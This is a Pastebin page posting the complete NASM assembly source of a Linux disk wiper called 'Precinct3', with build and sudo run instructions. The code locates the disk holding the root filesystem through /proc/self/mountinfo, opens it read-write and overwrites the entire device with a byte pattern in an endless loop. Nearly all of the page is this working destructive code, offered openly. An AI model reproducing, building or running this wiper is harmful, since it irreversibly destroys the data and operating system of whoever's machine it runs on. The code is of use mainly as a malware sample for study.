Advertisement
FlyFar

Virus.Lunix.Precinct3 - Source Code

Jul 27th, 2023
1,467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 11.45 KB | Cybersecurity | 0 0
  1. ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;   ;;; ;;;;;;;;; ;;;;;;;;;
  2. ;;;   ;;; ;;;   ;;; ;;;       ;;;          ;;;    ;;;;  ;;; ;;;          ;;;    
  3. ;;;;;;;;; ;;;;;;;;; ;;;;;;    ;;;          ;;;    ;;; ; ;;; ;;;          ;;;    
  4. ;;;       ;;;;;;    ;;;       ;;;          ;;;    ;;;  ;;;; ;;;          ;;;    
  5. ;;;       ;;;   ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;; ;;;   ;;; ;;;;;;;;;    ;;;    
  6. ;-------------------------------------------------------------------------------
  7. ;                                /!\ WARNING /!\                                
  8. ;      This program WILL destroy your disk. Run at your own risk, and only      
  9. ;                   on systems you are authorized to destroy.                  
  10. ;                                                                              
  11. ; This program opens /proc/self/mountinfo to enumerate filesystems and disks.  
  12. ; It finds where the filesystem root (/) is mounted, and writes a pattern to    
  13. ; the entirety of the disk.                                                    
  14. ;                                                                              
  15. ; Using /proc/self/mountinfo to find / :                                        
  16. ;                                                                              
  17. ; [ EXAMPLE ]                                                                  
  18. ;                                                                              
  19. ; $ grep '/ / ' /proc/self/mountinfo                                            
  20. ; 32 1 259:2 / / rw,relatime shared:1 - ext4 /dev/nvme0n1p2 rw,errors=remount-ro
  21. ; $ grep '/ / ' /proc/self/mountinfo                                            
  22. ; 25 0 8:0 / / rw,relatime shared:1 - ext4 /dev/sda rw,errors=remount-ro        
  23. ;                                                                              
  24. ; Build:                                                                        
  25. ; $ nasm -f elf64 p3.asm ; ld p3.o -o p3                                        
  26. ; Run:                                                                          
  27. ; $ sudo ./p3                                                                  
  28. ;----------------------------------------------------------------- @netspooky --
  29.                                ;;;;;;;;; ;;;   ;;; ;;;;;;;;; ;;;;;;;;; ;;;;;;;;;
  30.                                   ;;;    ;;;   ;;; ;;;   ;;; ;;;       ;;;      
  31.                                   ;;;    ;;;;;;;;; ;;;;;;;;; ;;;;;;    ;;;;;;  
  32.                                   ;;;    ;;;   ;;; ;;;;;;    ;;;       ;;;      
  33.                                   ;;;    ;;;   ;;; ;;;   ;;; ;;;;;;;;; ;;;;;;;;;
  34. ;-------------------------------------------------------------------------------
  35. section .text                                                                  ;
  36. global _start                                                                  ;
  37. _start:                                                                        ;
  38.     mov rdi, 0x6f666e69         ; Pushing the                                  ;
  39.     push rdi                    ; file name                                    ;
  40.     mov rdi, 0x746e756f6d2f666c ; /proc/self/mountinfo                         ;
  41.     push rdi                    ; onto the stack                               ;
  42.     mov rdi, 0x65732f636f72702f ; ...                                          ;
  43.     push rdi                    ; ...                                          ;
  44.     mov rdi, rsp                ; const char *pathname                         ;
  45.     xor rsi, rsi                ; int flags - O_RDONLY                         ;
  46.     mov rax, rsi                ; 0                                            ;
  47.     inc rax                     ; 1                                            ;
  48.     inc rax                     ; 2 - open syscall                             ;
  49.     syscall                     ;                                              ;
  50. reader: ; Reading /proc/self/mountinfo so we can parse it.                     ;
  51.     inc rdx                     ; 1                                            ;
  52.     shl rdx, 14                 ; size_t count - # of bytes to read - 0x400    ;
  53.     sub rsp, rdx                ; Make space on the stack - 0x400              ;
  54.     mov r9, rax                 ; Save fd in r9 for later                      ;
  55.     mov rdi, rax                ; int fd - The file descriptor                 ;
  56.     mov rsi, rsp                ; void *buf - The buffer that is the stack     ;
  57.     xor eax, eax                ; 0 - read syscall                             ;
  58.     syscall                     ; RSI still contains the buffer after syscall  ;
  59.     mov di, 0x202f              ; '/ ' - The byte pattern to look for          ;
  60.     xor rcx, rcx                ; 0                                            ;
  61.     inc rcx                     ; 1                                            ;
  62.     shl rcx, 14                 ; 0x400 - Counter for reading the file chunk   ;
  63. comp1: ; Looking for the first slash and space in each entry                   ;
  64.     mov bx, word[rsp]           ; Move word to bl                              ;
  65.     cmp di, bx                  ; Compare to the '/ ' pattern                  ;
  66.     je comp2                    ; Disk entry found, onto next comparison       ;
  67.     dec rcx                     ; Decrement counter                            ;
  68.     jz xxit                     ; Jump if zero to the end                      ;
  69.     inc rsp                     ; Read the next byte in the file               ;
  70.     jmp comp1                   ; Jump back to the top                         ;
  71. comp2: ; Here we are looking for the next slash and space                      ;
  72.     inc rsp                     ; Since we already know the two bytes at the   ;
  73.     inc rsp                     ; pointer, inc twice to get next two bytes     ;
  74.     mov bx, word[rsp]           ; Move word to bl                              ;
  75.     cmp di, bx                  ; Make the same comparison to '/ '             ;
  76.     je comp3                    ; Disk holding / was found                     ;
  77.     dec rcx                     ; Decrement counter                            ;
  78.     jz xxit                     ; Jump if zero to the end                      ;
  79.     dec rcx                     ; Decrement counter                            ;
  80.     jz xxit                     ; Jump if zero to the end                      ;
  81.     inc rsp                     ; If we didn't find anything, keep going       ;
  82.     jmp comp1                   ; And back to first comparison                 ;
  83. comp3: ; At this point, we have located the '/ / ' record, so we can look for  ;
  84.        ; the next slash in the disk name                                       ;
  85.     inc rsp                     ; Increment through the rest of the line       ;
  86.     mov bl, byte[rsp]           ; Get just one byte now                        ;
  87.     cmp dil, bl                 ; dil contains '/'                             ;
  88.     je prep                     ; If we found it, we have the disk name        ;
  89.     jmp comp3                   ; If not, keep going                           ;
  90. prep: ; Preparing for the final comparison                                     ;
  91.     xor rcx, rcx                ; This will hold the length of the disk name   ;
  92.     mov dil, 0x20               ; We are now looking for a space.              ;
  93. getdisk: ; Here we are grabbing the entire disk name                           ;
  94.     inc rsp                     ; Increment the index                          ;
  95.     inc rcx                     ; Increment our length counter                 ;
  96.     mov bl, byte[rsp]           ; Grab a byte                                  ;
  97.     cmp dil, bl                 ; Compare to a ' ' char                        ;
  98.     je opendisk                 ; If it matches, we found it!                  ;
  99.     jmp getdisk                 ; If not, keep going!                          ;
  100. opendisk: ; Now we are going to open the disk as a file as we did earlier.     ;
  101.     xor rsi, rsi                ; 0                                            ;
  102.     add rsp, 8                  ; Pushing a 0 for the null...                  ;
  103.     push rsi                    ; ...terminator on the disk name string.       ;
  104.     sub rsp, rcx                ; Now RSP points to the disk name              ;
  105.     mov rdi, rsp                ; const char *pathname - pointer to disk name  ;
  106.     inc rsi                     ; 1                                            ;
  107.     inc rsi                     ; 2 - O_RDWR                                   ;
  108.     mov rax, rsi                ; 2 - open syscall                             ;
  109.     syscall                                                                    ;
  110. writer: ; We now have the disk open in RW mode, no append.                     ;
  111.     mov rdi, rax                ; int fd - The file descriptor                 ;
  112.     mov rsi, 0x7557575757575775 ; This is the marker payload - uWWWWWWu        ;
  113.     push rsi                    ; Push the payload                             ;
  114.     mov rsi, rsp                ; const void *buf - Payload pointer            ;
  115.     xor rax, rax                ; 0                                            ;
  116.     inc rax                     ; 1 - write syscall                            ;
  117.     mov rdx, rax                ; Get that 1                                   ;
  118.     shl rdx, 3                  ; 8 size_t count - # of bytes to write         ;
  119.     syscall                                                                    ;
  120. lseeker: ; We have to set up the lseek call so that we will continue writing   ;
  121.          ; to the next byte in the file upon each additional write.            ;
  122.     xor rdx, rdx                ; 0                                            ;
  123.     inc rdx                     ; int whence; 1 = SEEK_SET                     ;
  124.     mov rsi, rdx                ; 1                                            ;
  125.     shl rsi, 3                  ; off_t offset; 8 - # of bytes to seek         ;
  126.     mov rax, rsi                ; 8 - lseek syscall                            ;
  127.     syscall                     ; Note that RDI still contains fd              ;
  128. writer2: ; The final write loop, likely segfaults                              ;
  129.     mov rsi, 0xABACABACABACABAC ; This is the pattern payload                  ;
  130.     push rsi                    ; Push the payload                             ;
  131.     mov rsi, rsp                ; const void *buf - Payload pointer            ;
  132.     xor rax, rax                ; 0                                            ;
  133.     inc rax                     ; 1 - write syscall                            ;
  134.     mov rdx, rax                ; Get that 1                                   ;
  135.     shl rdx, 3                  ; 8 size_t count - # of bytes to write         ;
  136.     syscall                                                                    ;
  137.     jmp writer2                 ; Bring it around town                         ;
  138. xxit: ; This is really only here in case of failure                            ;
  139.     mov al, 0x3c                ; exit syscall                                 ;
  140.     xor rdi, rdi                ; 0 - Return code                              ;
  141.     syscall ;------------------------------------------------------------------;
  142.             ; Dedicated to those fighting for police accountability worldwide. ;
  143.             ;------------------------------------------------------------------;
  144.  
Tags: Linux virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement